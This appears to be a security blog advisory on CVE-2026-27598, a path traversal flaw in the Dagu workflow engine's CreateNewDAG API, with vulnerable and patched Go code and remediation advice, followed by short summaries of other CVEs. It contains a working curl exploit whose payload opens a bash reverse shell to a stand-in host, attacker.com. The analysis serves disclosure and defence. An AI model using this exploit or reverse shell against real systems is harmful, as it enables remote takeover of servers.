Feb 25, 2026·6 min read·51 visits
Unsanitized input in Dagu's `CreateNewDAG` API allows attackers to use directory traversal sequences (`../`) to write files anywhere on the host. Because Dagu executes the contents of these files, this leads to immediate RCE.
A critical Path Traversal vulnerability in the Dagu workflow engine allows attackers to break out of the intended storage directory. By manipulating the DAG name in the API, an attacker can write arbitrary YAML files anywhere on the filesystem. Since Dagu's primary function is executing shell commands defined in these files, this vulnerability grants unbridled Remote Code Execution (RCE) capabilities, turning a helpful automation tool into a hacker's playground.
Meet Dagu. It's a slick, self-proclaimed "cron replacement" written in Go. It loves DAGs (Directed Acyclic Graphs), it loves YAML, and most importantly, it loves executing shell commands to get work done. Developers use it to automate data pipelines, deployments, and backups. It is, by design, a remote command execution engine wrapped in a nice UI.
Now, usually, when you build a tool that executes commands based on files, you want to keep those files in a very specific, locked-down padded room. You don't want the user telling the engine where to put the logic. But Dagu had a bit of a blind spot. It assumed that when a user named a new workflow, they would play nice.
CVE-2026-27598 is the story of what happens when you let user input dictate filesystem operations. It turns out, if you let a user name their project ../../../../etc/cron.d/pwned, computers will dutifully oblige. This isn't just a bug; it's a skeleton key to the server's filesystem.
The vulnerability lives in the CreateNewDAG API endpoint. When you send a POST request to create a new workflow, you provide a JSON body with a name field. Dagu takes this name and needs to figure out where to store the corresponding YAML file on disk.
Most secure applications would strip out any special characters, hash the name, or strictly append it to a base directory. Dagu, however, had a logic bomb in internal/persis/filedag/store.go. The developers likely wanted to support absolute paths for internal flexibility, but they exposed this logic to the public API.
Here is the fatal logic flaw:
> 1. Check if the name contains a slash or separator. > 2. If it does, resolve it to an absolute path. > 3. If it resolves successfully, write the file there.
It completely ignored the configured baseDir (the safe sandbox) if the user provided a path separator. It didn't sanitize ../ sequences. It just saw a path, said "looks like a path to me," and handed it off to the OS to write. This is the programmatic equivalent of a bank teller letting you walk into the vault because you showed up wearing a vest that said 'Vault Inspector'.
Let's look at the actual Go code responsible for this mess. This snippet is from generateFilePath in the vulnerable version. It vividly demonstrates the logic failure.
// Vulnerable Code in internal/persis/filedag/store.go
func generateFilePath(baseDir, name string) (string, error) {
// If the name looks like a path, treat it as an absolute path!
if strings.Contains(name, string(filepath.Separator)) {
filePath, err := filepath.Abs(name)
if err == nil {
return filePath, nil // <--- The smoking gun
}
}
// ... otherwise join with baseDir
}See that? If I send name: "../../tmp/evil", strings.Contains returns true. filepath.Abs resolves it relative to the working directory, effectively breaking out of baseDir. The function returns the escaped path immediately, bypassing any sandbox logic.
Now, look at the fix in commit e2ed589105d79273e4e6ac8eb31525f765bb3ce4. The developers had to nuke this logic entirely and enforce containment.
// Patched Code
func generateFilePath(baseDir, name string) (string, error) {
// 1. Strip directory traversal shenanigans
cleanName := filepath.Base(name)
// 2. Force the path to be inside baseDir
filePath := filepath.Join(baseDir, cleanName)
// 3. Verify we didn't escape (Defense in Depth)
if !strings.HasPrefix(filePath, baseDir) {
return "", fmt.Errorf("invalid path")
}
return filePath, nil
}The fix forces filepath.Base(), which strips everything except the final filename (turning ../../tmp/evil into just evil). It then explicitly joins it with baseDir and verifies the prefix. Simple, effective, and what should have been there day one.
Exploiting this is trivially easy. We don't need buffer overflows or heap grooming. We just need curl and a dream.
The Attack Scenario:
We want to execute code as the user running Dagu. Since Dagu runs YAML files, we can just write a malicious YAML file. But where? We could overwrite an existing config, or we could write to a location that we know executes scripts (like init.d or cron if we are lucky with permissions). Or, we can simply write a DAG file to a hidden directory we control.
Here is the payload:
curl -X POST http://target:8080/api/v1/dags \
-H "Content-Type: application/json" \
-d '{
"name": "../../tmp/pwned_dag",
"spec": "steps:\n - name: RCE\n command: bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\""
}'What happens next?
generateFilePath sees the / in the name./tmp/pwned_dag.yaml (assuming Dagu is running in a standard path).Even without immediate execution, this is an Arbitrary File Write. We could overwrite the dagu.yaml configuration file to disable authentication, or overwrite SSH authorized_keys if the process runs with high privileges.
This vulnerability is rated High (CVSS 7.1) for a reason. While the vector implies a "File Write," the context is a Workflow Engine. In this context, File Write == Code Execution.
If an attacker can write a DAG, they define the shell commands Dagu executes. The traversal allows them to:
Since many of these tools run in containerized environments (often as root inside the container), escaping the application directory can often mean full container compromise.
The remediation is straightforward but serves as a crucial lesson in Go security.
1. Sanitize Input at the Gate:
The API handler now explicitly calls core.ValidateDAGName(), which rejects names containing . or .. before they even reach the storage layer.
2. Anchor the Path:
The storage layer uses filepath.Base() to ensure that even if a bad name slips through validation, it is treated as a flat filename, not a path.
3. Verify the Result:
The use of strings.HasPrefix ensures that the final resolved path is mathematically strictly inside the allowed directory. This pattern is the gold standard for preventing path traversal in Go.
Immediate Action for Users:
Upgrade to a version containing commit e2ed589. If upgrading isn't possible, you must ensure the Dagu process runs with the absolute minimum filesystem permissions—it should technically only need write access to its specific data directory, nowhere else.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
dagu dagu-org | <= 1.16.7 | Post-1.16.7 (Commit e2ed589) |
| Attribute | Detail |
|---|---|
| CWE | CWE-22 (Path Traversal) |
| CVSS Score | 7.1 (High) |
| Attack Vector | Network (API) |
| Impact | Remote Code Execution (RCE) / Arbitrary File Write |
| Exploit Status | PoC Available |
| Fixed Commit | e2ed589105d79273e4e6ac8eb31525f765bb3ce4 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
NearForm fast-jwt prior to version 6.3.0 is vulnerable to an input validation flaw where configuring verifier properties (such as clockTolerance, clockTimestamp, and cacheTTL) with non-finite values like Infinity or NaN allows attackers to bypass temporal claim validations, including expiration (exp) and activation (nbf) boundaries. This validation bypass can result in unauthorized session persistence and cache poisoning.
A critical cryptographic vulnerability in fast-jwt versions 6.2.x prior to 6.3.0 allows unauthenticated remote attackers to execute an asymmetric-to-symmetric algorithm confusion attack due to incomplete validation of leading non-whitespace prefixes.
CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.
Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.
An origin trust boundary failure in the Ruby mechanize library (prior to v2.14.1) allows unauthenticated remote web servers to harvest sensitive global request headers, such as Authorization Bearer tokens and cookies, by utilizing HTML-level meta-refresh redirection tags. Standard HTTP-level redirect boundaries were not applied to document-level redirects, creating a vector for cross-origin credential leakage during automated crawls.
CVE-2026-107718 is a medium-severity Open Redirect vulnerability in the core HTTP server package of the AdonisJS Node.js framework. Prior to versions 8.2.3 and 9.3.0, the framework built route paths by directly interpolating dynamic parameters and wildcard segments without URI encoding. If an application routes attacker-controlled input directly to a dynamic first path segment and uses the generated route URL as a redirect destination, a leading slash can produce a scheme-relative external URL. Modern web browsers process scheme-relative URLs by redirecting the client to the specified external domain, exposing users to credential harvesting, social engineering, and session hijacking. This vulnerability affects all applications running unpatched configurations where input validation is not explicitly implemented before generating paths.